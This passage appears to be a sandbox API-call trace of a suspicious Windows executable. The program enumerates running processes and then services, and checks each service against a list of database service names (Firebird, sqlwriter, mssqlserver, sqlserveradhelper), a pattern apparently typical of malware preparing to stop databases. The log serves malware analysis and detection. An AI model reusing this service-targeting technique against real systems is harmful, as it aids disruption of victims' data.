cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0105.267] lstrlenW (lpString="bd guidance.exe") returned 15 [0105.267] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.268] lstrlenW (lpString="conhost.exe") returned 11 [0105.268] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.268] lstrlenW (lpString="conhost.exe") returned 11 [0105.268] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0105.269] lstrlenW (lpString="lang hl gis.exe") returned 15 [0105.269] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.269] lstrlenW (lpString="svchost.exe") returned 11 [0105.270] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0105.270] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0105.270] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0105.271] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0105.271] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.272] lstrlenW (lpString="conhost.exe") returned 11 [0105.272] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.272] lstrlenW (lpString="cmd.exe") returned 7 [0105.272] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.273] lstrlenW (lpString="conhost.exe") returned 11 [0105.273] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.274] lstrlenW (lpString="sppsvc.exe") returned 10 [0105.274] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.274] lstrlenW (lpString="dllhost.exe") returned 11 [0105.274] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0105.275] lstrlenW (lpString="mode.com") returned 8 [0105.275] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0105.275] lstrlenW (lpString="LogonUI.exe") returned 11 [0105.275] Process32NextW (in: hSnapshot=0x36c, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0105.276] CloseHandle (hObject=0x36c) returned 1 [0105.276] Sleep (dwMilliseconds=0x1f4) [0106.061] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f280 [0106.062] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0106.063] GetLastError () returned 0xea [0106.063] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36890e8 [0106.063] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36890e8, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36890e8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0106.064] CloseServiceHandle (hSCObject=0x47f280) returned 1 [0106.064] lstrlenW (lpString="Appinfo") returned 7 [0106.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0106.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0106.064] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0106.064] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0106.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0106.064] lstrlenW (lpString="AppXSvc") returned 7 [0106.064] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0106.064] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0106.064] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0106.064] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0106.064] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0106.065] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0106.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0106.065] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0106.065] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0106.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0106.065] lstrlenW (lpString="Audiosrv") returned 8 [0106.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0106.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0106.065] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0106.065] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0106.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0106.065] lstrlenW (lpString="BFE") returned 3 [0106.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0106.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0106.065] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0106.065] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0106.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0106.065] lstrlenW (lpString="BITS") returned 4 [0106.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0106.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0106.065] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0106.065] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0106.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0106.065] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0106.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0106.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0106.066] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0106.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0106.066] lstrlenW (lpString="CDPSvc") returned 6 [0106.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0106.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0106.066] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0106.066] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0106.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0106.066] lstrlenW (lpString="ClickToRunSvc") returned 13 [0106.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0106.066] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0106.066] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0106.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0106.066] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0106.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0106.066] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0106.066] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0106.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0106.066] lstrlenW (lpString="CryptSvc") returned 8 [0106.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0106.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0106.066] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0106.066] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0106.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0106.067] lstrlenW (lpString="DcomLaunch") returned 10 [0106.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0106.067] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0106.067] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0106.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0106.067] lstrlenW (lpString="DeviceAssociationService") returned 24 [0106.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0106.067] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0106.067] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0106.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0106.067] lstrlenW (lpString="Dhcp") returned 4 [0106.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0106.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0106.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0106.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0106.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0106.068] lstrlenW (lpString="Dnscache") returned 8 [0106.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0106.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0106.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0106.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0106.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0106.068] lstrlenW (lpString="DoSvc") returned 5 [0106.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0106.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0106.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0106.068] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0106.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0106.068] lstrlenW (lpString="DPS") returned 3 [0106.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0106.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0106.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0106.068] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0106.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0106.068] lstrlenW (lpString="DusmSvc") returned 7 [0106.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0106.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0106.068] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0106.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0106.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0106.069] lstrlenW (lpString="EventLog") returned 8 [0106.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0106.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0106.069] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0106.069] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0106.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0106.069] lstrlenW (lpString="EventSystem") returned 11 [0106.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0106.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0106.069] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0106.069] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0106.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0106.069] lstrlenW (lpString="FontCache") returned 9 [0106.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0106.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0106.069] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0106.069] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0106.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0106.069] lstrlenW (lpString="gpsvc") returned 5 [0106.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0106.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0106.069] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0106.069] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0106.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0106.069] lstrlenW (lpString="iphlpsvc") returned 8 [0106.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0106.070] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0106.070] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0106.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0106.070] lstrlenW (lpString="KeyIso") returned 6 [0106.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0106.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0106.070] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0106.070] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0106.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0106.070] lstrlenW (lpString="LanmanServer") returned 12 [0106.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0106.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0106.070] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0106.070] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0106.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0106.070] lstrlenW (lpString="LanmanWorkstation") returned 17 [0106.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0106.070] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0106.070] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0106.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0106.070] lstrlenW (lpString="lfsvc") returned 5 [0106.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0106.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0106.070] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0106.071] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0106.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0106.071] lstrlenW (lpString="lmhosts") returned 7 [0106.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0106.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0106.071] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0106.071] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0106.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0106.071] lstrlenW (lpString="LSM") returned 3 [0106.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0106.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0106.071] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0106.071] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0106.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0106.071] lstrlenW (lpString="MpsSvc") returned 6 [0106.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0106.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0106.071] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0106.071] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0106.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0106.071] lstrlenW (lpString="NcbService") returned 10 [0106.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0106.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0106.071] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0106.071] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0106.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0106.071] lstrlenW (lpString="netprofm") returned 8 [0106.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0106.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0106.072] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0106.072] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0106.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0106.072] lstrlenW (lpString="NlaSvc") returned 6 [0106.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0106.072] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0106.072] lstrlenW (lpString="nsi") returned 3 [0106.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0106.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0106.072] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0106.072] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0106.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0106.072] lstrlenW (lpString="PcaSvc") returned 6 [0106.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0106.072] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0106.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0106.072] lstrlenW (lpString="PlugPlay") returned 8 [0106.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0106.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0106.072] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0106.073] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0106.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0106.073] lstrlenW (lpString="Power") returned 5 [0106.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0106.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0106.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0106.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0106.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0106.073] lstrlenW (lpString="ProfSvc") returned 7 [0106.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0106.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0106.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0106.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0106.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0106.073] lstrlenW (lpString="RpcEptMapper") returned 12 [0106.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.073] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0106.073] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0106.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0106.073] lstrlenW (lpString="RpcSs") returned 5 [0106.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0106.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0106.073] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0106.073] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0106.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0106.074] lstrlenW (lpString="SamSs") returned 5 [0106.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0106.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0106.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0106.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0106.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0106.074] lstrlenW (lpString="Schedule") returned 8 [0106.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0106.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0106.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0106.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0106.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0106.074] lstrlenW (lpString="SecurityHealthService") returned 21 [0106.074] lstrcmpiW 